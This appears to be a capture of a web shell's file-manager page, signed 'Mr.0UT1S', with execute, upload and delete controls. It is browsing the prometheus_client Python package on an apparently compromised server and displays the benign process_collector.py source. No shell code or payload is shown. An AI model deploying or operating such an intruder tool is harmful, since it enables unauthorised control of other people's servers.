opt
/
hc_python
/
lib
/
python3.12
/
site-packages
/
prometheus_client
/
Go to Home Directory
+
Upload
Create File
root@0UT1S:~$
Execute
By Order of Mr.0UT1S
[DIR] ..
N/A
[DIR] __pycache__
N/A
[DIR] bridge
N/A
[DIR] openmetrics
N/A
[DIR] twisted
N/A
__init__.py
1.77 KB
Rename
Delete
asgi.py
1.57 KB
Rename
Delete
context_managers.py
2.29 KB
Rename
Delete
core.py
860 bytes
Rename
Delete
decorator.py
15.43 KB
Rename
Delete
exposition.py
25.56 KB
Rename
Delete
gc_collector.py
1.48 KB
Rename
Delete
metrics.py
27.45 KB
Rename
Delete
metrics_core.py
15.18 KB
Rename
Delete
mmap_dict.py
5.27 KB
Rename
Delete
multiprocess.py
7.36 KB
Rename
Delete
parser.py
7.26 KB
Rename
Delete
platform_collector.py
1.83 KB
Rename
Delete
process_collector.py
3.77 KB
Rename
Delete
py.typed
0 bytes
Rename
Delete
registry.py
6.05 KB
Rename
Delete
samples.py
1.65 KB
Rename
Delete
utils.py
594 bytes
Rename
Delete
values.py
4.88 KB
Rename
Delete
import os from typing import Callable, Iterable, Optional, Union from .metrics_core import CounterMetricFamily, GaugeMetricFamily, Metric from .registry import Collector, CollectorRegistry, REGISTRY try: import resource _PAGESIZE = resource.getpagesize() except ImportError: # Not Unix _PAGESIZE = 4096 class ProcessCollector(Collector): """Collector for Standard Exports such as cpu and memory.""" def __init__(self, namespace: str = '', pid: Callable[[], Union[int, str]] = lambda: 'self', proc: str = '/proc', registry: Optional[CollectorRegistry] = REGISTRY): self._namespace = namespace self._pid = pid self._proc = proc if namespace: self._prefix = namespace + '_process_' else: self._prefix = 'process_' self._ticks = 100.0 try: self._ticks = os.sysconf('SC_CLK_TCK') except (ValueError, TypeError, AttributeError, OSError): pass self._pagesize = _PAGESIZE # This is used to test if we can access /proc. self._btime = 0 try: self._btime = self._boot_time() except OSError: pass if registry: registry.register(self) def _boot_time(self): with open(os.path.join(self._proc, 'stat'), 'rb') as stat: for line in stat: if line.startswith(b'btime '): return float(line.split()[1]) def collect(self) -> Iterable[Metric]: if not self._btime: return [] pid = os.path.join(self._proc, str(self._pid()).strip()) result = [] try: with open(os.path.join(pid, 'stat'), 'rb') as stat: parts = (stat.read().split(b')')[-1].split()) vmem = GaugeMetricFamily(self._prefix + 'virtual_memory_bytes', 'Virtual memory size in bytes.', value=float(parts[20])) rss = GaugeMetricFamily(self._prefix + 'resident_memory_bytes', 'Resident memory size in bytes.', value=float(parts[21]) * self._pagesize) start_time_secs = float(parts[19]) / self._ticks start_time = GaugeMetricFamily(self._prefix + 'start_time_seconds', 'Start time of the process since unix epoch in seconds.', value=start_time_secs + self._btime) utime = float(parts[11]) / self._ticks stime = float(parts[12]) / self._ticks cpu = CounterMetricFamily(self._prefix + 'cpu_seconds_total', 'Total user and system CPU time spent in seconds.', value=utime + stime) result.extend([vmem, rss, start_time, cpu]) except OSError: pass try: with open(os.path.join(pid, 'limits'), 'rb') as limits: for line in limits: if line.startswith(b'Max open file'): max_fds = GaugeMetricFamily(self._prefix + 'max_fds', 'Maximum number of open file descriptors.', value=float(line.split()[3])) break open_fds = GaugeMetricFamily(self._prefix + 'open_fds', 'Number of open file descriptors.', len(os.listdir(os.path.join(pid, 'fd')))) result.extend([open_fds, max_fds]) except OSError: pass return result PROCESS_COLLECTOR = ProcessCollector() """Default ProcessCollector in default Registry REGISTRY."""
Save